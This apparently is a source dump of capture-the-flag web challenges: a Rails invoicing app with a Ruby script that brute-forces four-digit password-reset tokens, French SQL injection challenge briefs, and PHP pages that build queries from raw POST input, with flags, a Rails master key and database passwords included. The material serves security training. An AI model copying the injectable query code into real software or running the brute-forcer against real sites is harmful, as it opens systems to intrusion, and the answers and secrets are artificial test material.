19 | # you've limited to :test, :development, or :production. 20 | Bundler.require(*Rails.groups) 21 | 22 | module Invoicer 23 | class Application < Rails::Application 24 | # Initialize configuration defaults for originally generated Rails version. 25 | config.load_defaults 6.0 26 | 27 | # Application key. 28 | config.secret_key_base = ENV['SECRET_KEY'] 29 | 30 | # Settings in config/environments/* take precedence over those specified here. 31 | # Application configuration can go into files in config/initializers 32 | # -- all .rb files in that directory are automatically loaded after loading 33 | # the framework and any gems in your application. 34 | 35 | # Don't generate system test files. 36 | config.generators.system_tests = nil 37 | end 38 | end 39 | -------------------------------------------------------------------------------- /challenges/web/invoicer/application/config/boot.rb: -------------------------------------------------------------------------------- 1 | ENV['BUNDLE_GEMFILE'] ||= File.expand_path('../Gemfile', __dir__) 2 | 3 | require 'bundler/setup' # Set up gems listed in the Gemfile. 4 | require 'bootsnap/setup' # Speed up boot time by caching expensive operations. 5 | -------------------------------------------------------------------------------- /challenges/web/invoicer/application/config/credentials.yml.enc: -------------------------------------------------------------------------------- 1 | s5GxNIrGoEW2cWyXGvhMKHEoGSCy+qdnfIORCY4M01+oL4q3Qgr8ygh9OZGPQXSAMbJ0yvBIndSPFKbWTE9MQtsHgVBfxXb0MQ57pRtrCkCVr+RAkr+mPtmBC1F7RslGE+9aXlwXzoSmbz+7RsIzsnjpZ8G8TueYLgL5d74yIeNpnaHV4aVhzvuwGDbhVAYz60QeVeGUA/G/K+YFf7VF8OEw1QWp2tK9esVnTE9pj538pxPbpXq92EZhKttDktxXvi6yXaxl6yAUBOQaGsOuyX+ds+uAudgmXpcVFkJPYLWES4LOzvXe63XOzR0xz/fY9ISDx6eF8HrR7iPzHoPGgB18+U6PzkX6gjMHe6m6Z9Ns2QzA0qr7ojaGg2y3gCYasYsvrfj4JjGy5Xe2lHOGlDgJJKAs9Ym4Cw==--au+TKkpfSdKFEJA7--RuPEb6Ld7mY5dy2Btoh8zQ== -------------------------------------------------------------------------------- /challenges/web/invoicer/application/config/database.yml: -------------------------------------------------------------------------------- 1 | # SQLite. Versions 3.8.0 and up are supported. 2 | # gem install sqlite3 3 | # 4 | # Ensure the SQLite 3 gem is defined in your Gemfile 5 | # gem 'sqlite3' 6 | # 7 | default: &default 8 | adapter: sqlite3 9 | pool: <%= ENV.fetch("RAILS_MAX_THREADS") { 5 } %> 10 | timeout: 5000 11 | 12 | development: 13 | <<: *default 14 | database: db/development.sqlite3 15 | 16 | # Warning: The database defined as "test" will be erased and 17 | # re-generated from your development database when you run "rake". 18 | # Do not set this db to the same as development or production. 19 | test: 20 | <<: *default 21 | database: db/test.sqlite3 22 | 23 | production: 24 | <<: *default 25 | database: db/production.sqlite3 26 | -------------------------------------------------------------------------------- /challenges/web/invoicer/application/config/environment.rb: -------------------------------------------------------------------------------- 1 | # Load the Rails application. 2 | require_relative 'application' 3 | 4 | # Initialize the Rails application. 5 | Rails.application.initialize! 6 | -------------------------------------------------------------------------------- /challenges/web/invoicer/application/config/initializers/application_controller_renderer.rb: -------------------------------------------------------------------------------- 1 | # Be sure to restart your server when you modify this file. 2 | 3 | # ActiveSupport::Reloader.to_prepare do 4 | # ApplicationController.renderer.defaults.merge!( 5 | # http_host: 'example.org', 6 | # https: false 7 | # ) 8 | # end 9 | -------------------------------------------------------------------------------- /challenges/web/invoicer/application/config/initializers/assets.rb: -------------------------------------------------------------------------------- 1 | # Be sure to restart your server when you modify this file. 2 | 3 | # Version of your assets, change this if you want to expire all your assets. 4 | Rails.application.config.assets.version = '1.0' 5 | 6 | # Add additional assets to the asset load path. 7 | # Rails.application.config.assets.paths << Emoji.images_path 8 | 9 | # Precompile additional assets. 10 | # application.js, application.css, and all non-JS/CSS in the app/assets 11 | # folder are already added. 12 | # Rails.application.config.assets.precompile += %w( admin.js admin.css ) 13 | -------------------------------------------------------------------------------- /challenges/web/invoicer/application/config/initializers/backtrace_silencers.rb: -------------------------------------------------------------------------------- 1 | # Be sure to restart your server when you modify this file. 2 | 3 | # You can add backtrace silencers for libraries that you're using but don't wish to see in your backtraces. 4 | # Rails.backtrace_cleaner.add_silencer { |line| line =~ /my_noisy_library/ } 5 | 6 | # You can also remove all the silencers if you're trying to debug a problem that might stem from framework code. 7 | # Rails.backtrace_cleaner.remove_silencers! 8 | -------------------------------------------------------------------------------- /challenges/web/invoicer/application/config/initializers/content_security_policy.rb: -------------------------------------------------------------------------------- 1 | # Be sure to restart your server when you modify this file. 2 | 3 | # Define an application-wide content security policy 4 | # For further information see the following documentation 5 | # https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Security-Policy 6 | 7 | # Rails.application.config.content_security_policy do |policy| 8 | # policy.default_src :self, :https 9 | # policy.font_src :self, :https, :data 10 | # policy.img_src :self, :https, :data 11 | # policy.object_src :none 12 | # policy.script_src :self, :https 13 | # policy.style_src :self, :https 14 | 15 | # # Specify URI for violation reports 16 | # # policy.report_uri "/csp-violation-report-endpoint" 17 | # end 18 | 19 | # If you are using UJS then enable automatic nonce generation 20 | # Rails.application.config.content_security_policy_nonce_generator = -> request { SecureRandom.base64(16) } 21 | 22 | # Set the nonce only to specific directives 23 | # Rails.application.config.content_security_policy_nonce_directives = %w(script-src) 24 | 25 | # Report CSP violations to a specified URI 26 | # For further information see the following documentation: 27 | # https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Security-Policy-Report-Only 28 | # Rails.application.config.content_security_policy_report_only = true 29 | -------------------------------------------------------------------------------- /challenges/web/invoicer/application/config/initializers/cookies_serializer.rb: -------------------------------------------------------------------------------- 1 | # Be sure to restart your server when you modify this file. 2 | 3 | # Specify a serializer for the signed and encrypted cookie jars. 4 | # Valid options are :json, :marshal, and :hybrid. 5 | Rails.application.config.action_dispatch.cookies_serializer = :json 6 | -------------------------------------------------------------------------------- /challenges/web/invoicer/application/config/initializers/filter_parameter_logging.rb: -------------------------------------------------------------------------------- 1 | # Be sure to restart your server when you modify this file. 2 | 3 | # Configure sensitive parameters which will be filtered from the log file. 4 | Rails.application.config.filter_parameters += [:password] 5 | -------------------------------------------------------------------------------- /challenges/web/invoicer/application/config/initializers/inflections.rb: -------------------------------------------------------------------------------- 1 | # Be sure to restart your server when you modify this file. 2 | 3 | # Add new inflection rules using the following format. Inflections 4 | # are locale specific, and you may define rules for as many different 5 | # locales as you wish. All of these examples are active by default: 6 | # ActiveSupport::Inflector.inflections(:en) do |inflect| 7 | # inflect.plural /^(ox)$/i, '\1en' 8 | # inflect.singular /^(ox)en/i, '\1' 9 | # inflect.irregular 'person', 'people' 10 | # inflect.uncountable %w( fish sheep ) 11 | # end 12 | 13 | # These inflection rules are supported but not enabled by default: 14 | # ActiveSupport::Inflector.inflections(:en) do |inflect| 15 | # inflect.acronym 'RESTful' 16 | # end 17 | -------------------------------------------------------------------------------- /challenges/web/invoicer/application/config/initializers/mime_types.rb: -------------------------------------------------------------------------------- 1 | # Be sure to restart your server when you modify this file. 2 | 3 | # Add new mime types for use in respond_to blocks: 4 | # Mime::Type.register "text/richtext", :rtf 5 | -------------------------------------------------------------------------------- /challenges/web/invoicer/application/config/initializers/wrap_parameters.rb: -------------------------------------------------------------------------------- 1 | # Be sure to restart your server when you modify this file. 2 | 3 | # This file contains settings for ActionController::ParamsWrapper which 4 | # is enabled by default. 5 | 6 | # Enable parameter wrapping for JSON. You can disable this by setting :format to an empty array. 7 | ActiveSupport.on_load(:action_controller) do 8 | wrap_parameters format: [:json] 9 | end 10 | 11 | # To enable root element in JSON for ActiveRecord objects. 12 | # ActiveSupport.on_load(:active_record) do 13 | # self.include_root_in_json = true 14 | # end 15 | -------------------------------------------------------------------------------- /challenges/web/invoicer/application/config/locales/en.yml: -------------------------------------------------------------------------------- 1 | # Files in the config/locales directory are used for internationalization 2 | # and are automatically loaded by Rails. If you want to use locales other 3 | # than English, add the necessary files in this directory. 4 | # 5 | # To use the locales, use `I18n.t`: 6 | # 7 | # I18n.t 'hello' 8 | # 9 | # In views, this is aliased to just `t`: 10 | # 11 | # <%= t('hello') %> 12 | # 13 | # To use a different locale, set it with `I18n.locale`: 14 | # 15 | # I18n.locale = :es 16 | # 17 | # This would use the information in config/locales/es.yml. 18 | # 19 | # The following keys must be escaped otherwise they will not be retrieved by 20 | # the default I18n backend: 21 | # 22 | # true, false, on, off, yes, no 23 | # 24 | # Instead, surround them with single quotes. 25 | # 26 | # en: 27 | # 'true': 'foo' 28 | # 29 | # To learn more, please read the Rails Internationalization guide 30 | # available at https://guides.rubyonrails.org/i18n.html. 31 | 32 | en: 33 | hello: "Hello world" 34 | -------------------------------------------------------------------------------- /challenges/web/invoicer/application/config/master.key: -------------------------------------------------------------------------------- 1 | d7042d0ec19a3794af8485aa593b8c4a -------------------------------------------------------------------------------- /challenges/web/invoicer/application/config/routes.rb: -------------------------------------------------------------------------------- 1 | Rails.application.routes.draw do 2 | root 'invoices#index' 3 | 4 | # Session 5 | get '/login', to: 'sessions#new' 6 | post '/login', to: 'sessions#create' 7 | get '/logout', to: 'sessions#destroy' 8 | 9 | # Users 10 | resources 'users', only: [:new, :create, :edit, :update] 11 | 12 | # Password reset 13 | resources 'password_resets', only: [:new, :create, :edit, :update] 14 | 15 | # Invoices 16 | resources 'invoices', only: [:new, :create, :show, :index] 17 | get "public/invoices/:public_token", to: "invoices#public", as: :public_invoice 18 | 19 | # Metrics 20 | get '/metrics', to: 'pages#metrics' 21 | 22 | # Help Center 23 | get 'help-center', to: 'help_center#home' 24 | get 'help-center/home', to: 'help_center#home' 25 | get 'help-center/password_reset', to: 'help_center#password_reset' 26 | get 'help-center/search_invoice', to: 'help_center#search_invoice' 27 | end 28 | -------------------------------------------------------------------------------- /challenges/web/invoicer/application/config/spring.rb: -------------------------------------------------------------------------------- 1 | Spring.watch( 2 | ".ruby-version", 3 | ".rbenv-vars", 4 | "tmp/restart.txt", 5 | "tmp/caching-dev.txt" 6 | ) 7 | -------------------------------------------------------------------------------- /challenges/web/invoicer/application/db/migrate/20200916130631_create_users.rb: -------------------------------------------------------------------------------- 1 | class CreateUsers < ActiveRecord::Migration[6.0] 2 | def change 3 | create_table :users do |t| 4 | t.string :name, null: false 5 | t.string :email, null: false 6 | t.text :bio, null: true 7 | t.string :password_digest, null: false 8 | t.string :reset_password_token, null: true 9 | t.datetime :reset_password_generated_at, null: true 10 | t.boolean :demo, null: false, default: false 11 | 12 | t.timestamps 13 | end 14 | 15 | add_index :users, :email, unique: true 16 | end 17 | end 18 | -------------------------------------------------------------------------------- /challenges/web/invoicer/application/db/migrate/20200916133012_create_invoices.rb: -------------------------------------------------------------------------------- 1 | class CreateInvoices < ActiveRecord::Migration[6.0] 2 | def change 3 | create_table :invoices do |t| 4 | t.integer :amount, null: false 5 | t.string :details, null: false 6 | t.string :recipient_email, null: false 7 | t.string :recipient_name, null: false 8 | t.string :public_token, null: false 9 | t.references :user, null: false, foreign_key: true 10 | 11 | t.timestamps 12 | end 13 | 14 | add_index :invoices, :public_token, unique: true 15 | end 16 | end 17 | -------------------------------------------------------------------------------- /challenges/web/invoicer/application/db/migrate/20200916142658_change_default_value_for_demo_in_users.rb: -------------------------------------------------------------------------------- 1 | class ChangeDefaultValueForDemoInUsers < ActiveRecord::Migration[6.0] 2 | def change 3 | change_column_default :users, :demo, from: false, to: true 4 | end 5 | end 6 | -------------------------------------------------------------------------------- /challenges/web/invoicer/application/db/migrate/20200916175604_rename_reset_password_to_password_reset_in_users.rb: -------------------------------------------------------------------------------- 1 | class RenameResetPasswordToPasswordResetInUsers < ActiveRecord::Migration[6.0] 2 | def change 3 | rename_column :users, :reset_password_token, :password_reset_token 4 | rename_column :users, :reset_password_generated_at, :password_reset_generated_at 5 | end 6 | end 7 | -------------------------------------------------------------------------------- /challenges/web/invoicer/application/db/migrate/20200916175742_add_index_to_password_reset_token_in_users.rb: -------------------------------------------------------------------------------- 1 | class AddIndexToPasswordResetTokenInUsers < ActiveRecord::Migration[6.0] 2 | def change 3 | add_index :users, :password_reset_token, unique: true 4 | end 5 | end 6 | -------------------------------------------------------------------------------- /challenges/web/invoicer/application/db/migrate/20200918125904_create_super_hidden_secret_features.rb: -------------------------------------------------------------------------------- 1 | class CreateSuperHiddenSecretFeatures < ActiveRecord::Migration[6.0] 2 | def change 3 | create_table :super_hidden_secret_features do |t| 4 | t.string :name, null: false 5 | t.boolean :hidden, null: false, default: true 6 | 7 | t.timestamps 8 | end 9 | end 10 | end 11 | -------------------------------------------------------------------------------- /challenges/web/invoicer/application/db/migrate/20200918133554_remove_bio_in_users.rb: -------------------------------------------------------------------------------- 1 | class RemoveBioInUsers < ActiveRecord::Migration[6.0] 2 | def change 3 | remove_column :users, :bio, type: :text, null: true 4 | end 5 | end 6 | -------------------------------------------------------------------------------- /challenges/web/invoicer/application/db/migrate/20200918145937_add_index_unique_to_name_in_users.rb: -------------------------------------------------------------------------------- 1 | class AddIndexUniqueToNameInUsers < ActiveRecord::Migration[6.0] 2 | def change 3 | add_index :users, :name, unique: true 4 | end 5 | end 6 | -------------------------------------------------------------------------------- /challenges/web/invoicer/application/lib/assets/.keep: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/UnitedCTF/UnitedCTF-2020/d139546828bda0f6f351f5034d1e22c2b459c6e1/challenges/web/invoicer/application/lib/assets/.keep -------------------------------------------------------------------------------- /challenges/web/invoicer/application/lib/tasks/.keep: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/UnitedCTF/UnitedCTF-2020/d139546828bda0f6f351f5034d1e22c2b459c6e1/challenges/web/invoicer/application/lib/tasks/.keep -------------------------------------------------------------------------------- /challenges/web/invoicer/application/log/.keep: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/UnitedCTF/UnitedCTF-2020/d139546828bda0f6f351f5034d1e22c2b459c6e1/challenges/web/invoicer/application/log/.keep -------------------------------------------------------------------------------- /challenges/web/invoicer/application/public/apple-touch-icon-precomposed.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/UnitedCTF/UnitedCTF-2020/d139546828bda0f6f351f5034d1e22c2b459c6e1/challenges/web/invoicer/application/public/apple-touch-icon-precomposed.png -------------------------------------------------------------------------------- /challenges/web/invoicer/application/public/apple-touch-icon.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/UnitedCTF/UnitedCTF-2020/d139546828bda0f6f351f5034d1e22c2b459c6e1/challenges/web/invoicer/application/public/apple-touch-icon.png -------------------------------------------------------------------------------- /challenges/web/invoicer/application/public/favicon.ico: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/UnitedCTF/UnitedCTF-2020/d139546828bda0f6f351f5034d1e22c2b459c6e1/challenges/web/invoicer/application/public/favicon.ico -------------------------------------------------------------------------------- /challenges/web/invoicer/application/public/robots.txt: -------------------------------------------------------------------------------- 1 | user-agent: * 2 | Allow: /help-center 3 | -------------------------------------------------------------------------------- /challenges/web/invoicer/application/tmp/.keep: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/UnitedCTF/UnitedCTF-2020/d139546828bda0f6f351f5034d1e22c2b459c6e1/challenges/web/invoicer/application/tmp/.keep -------------------------------------------------------------------------------- /challenges/web/invoicer/application/tmp/pids/.keep: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/UnitedCTF/UnitedCTF-2020/d139546828bda0f6f351f5034d1e22c2b459c6e1/challenges/web/invoicer/application/tmp/pids/.keep -------------------------------------------------------------------------------- /challenges/web/invoicer/application/vendor/.keep: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/UnitedCTF/UnitedCTF-2020/d139546828bda0f6f351f5034d1e22c2b459c6e1/challenges/web/invoicer/application/vendor/.keep -------------------------------------------------------------------------------- /challenges/web/invoicer/entrypoint.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | set -e 3 | 4 | # Remove a potentially pre-existing server.pid for Rails. 5 | rm -f /myapp/tmp/pids/server.pid 6 | 7 | # Then exec the container's main process (what's set as CMD in the Dockerfile). 8 | exec "$@" -------------------------------------------------------------------------------- /challenges/web/invoicer/script.rb: -------------------------------------------------------------------------------- 1 | require 'net/http' 2 | 3 | uri = URI('http://challenges.unitedctf.ca:12004') 4 | (0..9999).each do |number| 5 | token = number.to_s.rjust(4, '0') 6 | print "\r#{token}" 7 | uri.path = "/password_resets/#{token}/edit" 8 | response = Net::HTTP.get_response(uri) 9 | if response.code == '200' 10 | puts "\n#{uri}" 11 | break if response.body.include?('Invoicer Support Account') 12 | end 13 | end 14 | -------------------------------------------------------------------------------- /challenges/web/sqli/README1.md: -------------------------------------------------------------------------------- 1 | # Injection SQL #1: Va me falloir un SCHEMA 2 | 3 | > Web 4 | 5 | Author: @CycleOfTheAbsurd 6 | 7 | Les bases de données MySQL et MariaDB exposent une BD virtuelle nommée [`INFORMATION_SCHEMA`](https://dev.mysql.com/doc/refman/8.0/en/information-schema.html). Cette dernière possède des tables qui contiennent les métadonnées sur ce qui est accessible à l'utilisateur courant; entre autres, les propriétés des tables et de leurs colonnes. Ceci est très utile pour découvrir les données auxquelles nous avons accès. Particulièrement dans un contexte d'injection SQL où on ne connait généralement pas le schéma de la base de données. 8 | 9 | SQL possède une clause [`UNION`](https://mariadb.com/kb/en/union/) qui permet de combiner les résultats de plusieurs requêtes. Ceci pourrait vous servir. 10 | 11 | Défi: Obtenez le flag qui se cache dans une table que vous pouvez lire. 12 | -------------------------------------------------------------------------------- /challenges/web/sqli/README2.md: -------------------------------------------------------------------------------- 1 | # Injection SQL #2: ERREUR: TITRE INVALIDE 2 | 3 | > Web 4 | 5 | Author: @CycleOfTheAbsurd 6 | 7 | Cacher les résultats d'une requête à l'utilisateur n'est pas une méthode suffisante pour se protéger des injections SQL. Il existe plusieurs canaux alternatifs qu'un attaquant peux utiliser pour exfiltrer les données qu'il désire obtenir. Les messages d'erreurs sont un exemple d'output qui peut sembler inoffensif, mais qui peut faire fuiter des données. Faites une recherche pour _error based SQL injection_ sur [votre moteur de recherche préféré](https://duckduckgo.com/) pour trouver des exemples de fonctions qui peuvent afficher du contenu dans leurs messages d'erreur. 8 | 9 | Défi: Les résultats de la requête effectuée ne sont pas affichés, mais il est possible d'avoir les messages d'erreurs retournés par le moteur de la base de données. Utilisez-les pour obtenir le flag qui se cache dans une table. 10 | -------------------------------------------------------------------------------- /challenges/web/sqli/README4.md: -------------------------------------------------------------------------------- 1 | # Injection SQL #4: Quand est-ce qu'on arrive? 2 | 3 | > Web 4 | 5 | Author: @CycleOfTheAbsurd 6 | 7 | Même tout cacher à l'utilisateur n'est pas suffisant pour se protéger d'une injection SQL (et limite pas mal l'utilité de l'application...). Il est important de se protéger à la base contre l'injection. Dès que l'attaquant a un moyen d'affecter le comportement de l'application par son injection. Il peut utiliser ce différentiel de comportement pour apprendre des choses sur le contenu de la base de données. Ceci peut jusqu'à en apprendre le contenu. 8 | 9 | **NOTE**: MariaDB possède la fonction [`SLEEP`](https://mariadb.com/kb/en/sleep/) qui permet de faire attendre un temps donné avant de retourner les résultats de la requête. La différence dans le temps de réponse pour 2 requêtes est un exemple de différentiel dans le comportement observable ;) 10 | 11 | **NOTE**: Vous allez devoir écrire un script ou programme pour résoudre ce défi. Sinon vous risquez de ne pas avoir le temps de le finir avant la fin du CTF. 12 | 13 | Défi: On ne vous montre rien en rapport avec le résultat de votre requête. Trouvez un moyen d'avoir quand-même le flag contenu dans la table `challenge4`. 14 | -------------------------------------------------------------------------------- /challenges/web/sqli/sqli_db/.env: -------------------------------------------------------------------------------- 1 | MYSQL_DATABASE=sql_injection 2 | CHALLENGE0_USER=GvK1Qo4gaMT1 3 | CHALLENGE0_USER_PASS=72TS1Ol9Qv4aJLnFq1jchAxcZnCgBqZ8T3rqn7c2vk8EHv8gm8RDSEvhn2bK3yYLbDgz9TdgZIPk 4 | CHALLENGE1_USER=0aNGSxUgfwIf 5 | CHALLENGE1_USER_PASS=7YX6KHqKYwa34rbVULnLjTIP7tHhdunE7DIGjm9Hd2590pwLgRYNYRkGYkuqPciJRh6o51CVHvRD 6 | CHALLENGE2_USER=YRQlVpAApahg 7 | CHALLENGE2_USER_PASS=RlORckTdhaq8Re9umVsQLoIsynzOFymlEnobS7gvxkAT7Ba9QJy5mTknK8aqt8c1jmNIZY4Yq28P 8 | CHALLENGE3_USER=t3QUjBqvCnKQ 9 | CHALLENGE3_USER_PASS=AyycwN44ozRkmpvG89iJCpTWBfsrXZCBdKUwHCfLaCaAzB6feri_OuAQ9hJC44nhkERjDUwRW4rb 10 | CHALLENGE4_USER=mjTSbvkdwBnN 11 | CHALLENGE4_USER_PASS=Y1TqeGvFKse0p8U1B29QMTn_M1VX5_LDigp4G82zqxsas3MaaO64p8NNJdbcu2sgk1SICMufGfuQ 12 | -------------------------------------------------------------------------------- /challenges/web/sqli/sqli_db/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM mariadb:10.5 2 | 3 | RUN apt-get update && apt-get -y install gettext-base \ 4 | && apt-get clean \ 5 | && rm -rf /var/lib/apt/lists/* 6 | 7 | COPY ./init_env.sh /init_env.sh 8 | 9 | CMD ["sh", "/init_env.sh"] 10 | -------------------------------------------------------------------------------- /challenges/web/sqli/sqli_db/db.env: -------------------------------------------------------------------------------- 1 | MYSQL_ROOT_PASSWORD=we2C3AzljFYsn45yBcBDTJ93hmWy_a3mi8eGiQhGtLClLd4PHQJvxOhfEbAdQnFTfyM4q1hRaAtX 2 | -------------------------------------------------------------------------------- /challenges/web/sqli/sqli_db/init_env.sh: -------------------------------------------------------------------------------- 1 | #!/bin/sh 2 | 3 | for f in /init_sql/*.sql; do 4 | envsubst < $f > "/docker-entrypoint-initdb.d/$(basename $f)" 5 | done 6 | 7 | # Call mariadb entrypoint 8 | docker-entrypoint.sh mysqld 9 | -------------------------------------------------------------------------------- /challenges/web/sqli/sqli_db/init_sql/sql_init_challenge0.sql: -------------------------------------------------------------------------------- 1 | USE $MYSQL_DATABASE; 2 | 3 | DROP TABLE IF EXISTS challenge0; 4 | CREATE TABLE challenge0 ( 5 | id INT AUTO_INCREMENT PRIMARY KEY, 6 | username VARCHAR(256) NOT NULL, 7 | password VARCHAR(256) NOT NULL 8 | ); 9 | 10 | DROP USER IF EXISTS '$CHALLENGE0_USER'; 11 | CREATE USER '$CHALLENGE0_USER'@'%' IDENTIFIED BY '$CHALLENGE0_USER_PASS'; 12 | 13 | GRANT USAGE,SELECT ON ${MYSQL_DATABASE}.challenge0 TO ${CHALLENGE0_USER}; 14 | 15 | INSERT INTO challenge0 (username,password) VALUES 16 | ("test", "PleaseDon'tStorePasswordInCleartextLikeThis"), 17 | ("admin", "SeriouslyNeverDoThis,It'sBad"), 18 | ("united", "HashPasswordsWithAProperCryptographicHashAndASalt"), 19 | ("You won't be able to guess my name BSh8dn_fdHs", "The flag: FLAG-One_SELECT_to_bring_them_all_YbHKhnADUbc"); 20 | -------------------------------------------------------------------------------- /challenges/web/sqli/sqli_db/init_sql/sql_init_challenge2.sql: -------------------------------------------------------------------------------- 1 | USE $MYSQL_DATABASE; 2 | 3 | DROP TABLE IF EXISTS challenge2; 4 | CREATE TABLE challenge2 ( 5 | id INT AUTO_INCREMENT PRIMARY KEY, 6 | flag VARCHAR(64) NOT NULL 7 | ); 8 | 9 | DROP USER IF EXISTS '$CHALLENGE2_USER'; 10 | CREATE USER '$CHALLENGE2_USER'@'%' IDENTIFIED BY '$CHALLENGE2_USER_PASS'; 11 | 12 | GRANT USAGE,SELECT ON ${MYSQL_DATABASE}.challenge2 TO ${CHALLENGE2_USER}; 13 | 14 | INSERT INTO challenge2 (flag) VALUES 15 | ("FLAG-Ash_nazg_durbatuluk_Hl4z"); 16 | -------------------------------------------------------------------------------- /challenges/web/sqli/sqli_db/init_sql/sql_init_challenge3.sql: -------------------------------------------------------------------------------- 1 | USE $MYSQL_DATABASE; 2 | 3 | DROP TABLE IF EXISTS challenge3; 4 | CREATE TABLE challenge3 ( 5 | id INT AUTO_INCREMENT PRIMARY KEY, 6 | flag VARCHAR(128) NOT NULL 7 | ); 8 | 9 | DROP USER IF EXISTS '$CHALLENGE3_USER'; 10 | CREATE USER '$CHALLENGE3_USER'@'%' IDENTIFIED BY '$CHALLENGE3_USER_PASS'; 11 | 12 | GRANT USAGE,SELECT ON ${MYSQL_DATABASE}.challenge3 TO ${CHALLENGE3_USER}; 13 | 14 | INSERT INTO challenge3 (flag) VALUES 15 | ("FLAG-In_the_Land_of_Mariadb_where_the_Columns_lie_4Z3H1ymWBX"); 16 | -------------------------------------------------------------------------------- /challenges/web/sqli/sqli_db/init_sql/sql_init_challenge4.sql: -------------------------------------------------------------------------------- 1 | USE $MYSQL_DATABASE; 2 | 3 | DROP TABLE IF EXISTS challenge4; 4 | CREATE TABLE challenge4 ( 5 | id INT AUTO_INCREMENT PRIMARY KEY, 6 | flag VARCHAR(128) NOT NULL 7 | ); 8 | 9 | DROP USER IF EXISTS '$CHALLENGE4_USER'; 10 | CREATE USER '$CHALLENGE4_USER'@'%' IDENTIFIED BY '$CHALLENGE4_USER_PASS'; 11 | 12 | GRANT USAGE,SELECT ON ${MYSQL_DATABASE}.challenge4 TO ${CHALLENGE4_USER}; 13 | 14 | INSERT INTO challenge4 (flag) VALUES 15 | ("FLAG-c3qUmJTeAW_Three_Tables_for_the_Elven-admins_under_the_RDBMS_SZcIvzI3do"); 16 | -------------------------------------------------------------------------------- /challenges/web/sqli/sqli_web/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM php:apache 2 | RUN docker-php-ext-install mysqli && docker-php-ext-enable mysqli 3 | -------------------------------------------------------------------------------- /challenges/web/sqli/sqli_web/src/challenge2.php: -------------------------------------------------------------------------------- 1 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 |
13 |

Injection SQL #2

14 |

Cherchez un flag par id

15 |
16 | $ERROR

"; 18 | } 19 | if (isset($QUERY_STRING)) { 20 | echo "

Votre dernière requête était: $QUERY_STRING

"; 21 | } 22 | ?> 23 |
24 |
25 | 26 | 27 |
28 | 29 |
30 |
31 |
32 | 33 | 34 | -------------------------------------------------------------------------------- /challenges/web/sqli/sqli_web/src/challenge3.php: -------------------------------------------------------------------------------- 1 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 |
13 |

Injection SQL #3

14 |

Vérifiez l'existence d'un flag par id

15 |
16 | Erreur dans la requête

"; 18 | } 19 | if (isset($QUERY_STRING)) { 20 | echo "

Votre dernière requête était: $QUERY_STRING

"; 21 | } 22 | ?> 23 |
24 |
25 | 26 | 27 |
28 | 29 |
30 |
31 |
32 |
33 | Votre requête a retourné au moins un résultat"); 36 | } else { 37 | print("

Votre requête n'a retourné aucun résultat

"); 38 | } 39 | ?> 40 |
41 | 42 | 43 | -------------------------------------------------------------------------------- /challenges/web/sqli/sqli_web/src/challenge4.php: -------------------------------------------------------------------------------- 1 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 |
13 |

Injection SQL #4

14 |

<Insert pretense for challenge here> d'un flag par id

15 |
16 | Votre dernière requête était: $QUERY_STRING

"; 18 | } 19 | ?> 20 |
21 |
22 | 23 | 24 |
25 | 26 |
27 |
28 |
29 | 30 | 31 | -------------------------------------------------------------------------------- /challenges/web/sqli/sqli_web/src/includes/chal0.php: -------------------------------------------------------------------------------- 1 | %d%s%s'; 4 | 5 | if ($_SERVER['REQUEST_METHOD'] === 'POST') { 6 | $username = $_POST["username"]; 7 | $pass = $_POST["password"]; 8 | if (isset($username)) { 9 | 10 | include("mysql_connection.php"); 11 | $mysqli = getConnection(0); 12 | if ($mysqli->connect_errno) { 13 | echo "Errno: " . $mysqli->connect_errno . "\n"; 14 | echo "Error: " . $mysqli->connect_error . "\n"; 15 | die(); 16 | } 17 | $QUERY_STRING = sprintf($SQL_QUERY, $username); 18 | $query = $mysqli->query($QUERY_STRING); 19 | if (strlen($mysqli->error) > 0) { 20 | $ERROR = $mysqli->error; 21 | } 22 | if($query) { 23 | $RESULT = $query->fetch_all(); 24 | $query->close(); 25 | } 26 | $mysqli->close(); 27 | } else { 28 | $ERROR = "Veuillez entrer un username à chercher."; 29 | } 30 | } 31 | ?> 32 | -------------------------------------------------------------------------------- /challenges/web/sqli/sqli_web/src/includes/chal1.php: -------------------------------------------------------------------------------- 1 | %d%s%s%s/tr>'; 4 | 5 | if ($_SERVER['REQUEST_METHOD'] === 'POST') { 6 | $msg_id = $_POST["msgID"]; 7 | if (isset($msg_id)) { 8 | 9 | include("mysql_connection.php"); 10 | $mysqli = getConnection(1); 11 | if ($mysqli->connect_errno) { 12 | echo "Errno: " . $mysqli->connect_errno . "\n"; 13 | echo "Error: " . $mysqli->connect_error . "\n"; 14 | die(); 15 | } 16 | $QUERY_STRING = sprintf($SQL_QUERY, $msg_id); 17 | $query = $mysqli->query($QUERY_STRING); 18 | if (strlen($mysqli->error) > 0) { 19 | $ERROR = $mysqli->error; 20 | } 21 | if($query) { 22 | $RESULT = $query->fetch_all(); 23 | $query->close(); 24 | } 25 | $mysqli->close(); 26 | } else { 27 | $ERROR = "Veuillez entrer un id à chercher."; 28 | } 29 | } 30 | ?> 31 | -------------------------------------------------------------------------------- /challenges/web/sqli/sqli_web/src/includes/chal2.php: -------------------------------------------------------------------------------- 1 | connect_errno) { 11 | echo "Errno: " . $mysqli->connect_errno . "\n"; 12 | echo "Error: " . $mysqli->connect_error . "\n"; 13 | die(); 14 | } 15 | $QUERY_STRING = sprintf($SQL_QUERY, $flag_id); 16 | $query = $mysqli->query($QUERY_STRING); 17 | if (strlen($mysqli->error) > 0) { 18 | $ERROR = $mysqli->error; 19 | } 20 | if($query) { 21 | $query->close(); 22 | } 23 | $mysqli->close(); 24 | } else { 25 | $ERROR = "Veuillez entrer un id à chercher."; 26 | } 27 | } 28 | ?> 29 | -------------------------------------------------------------------------------- 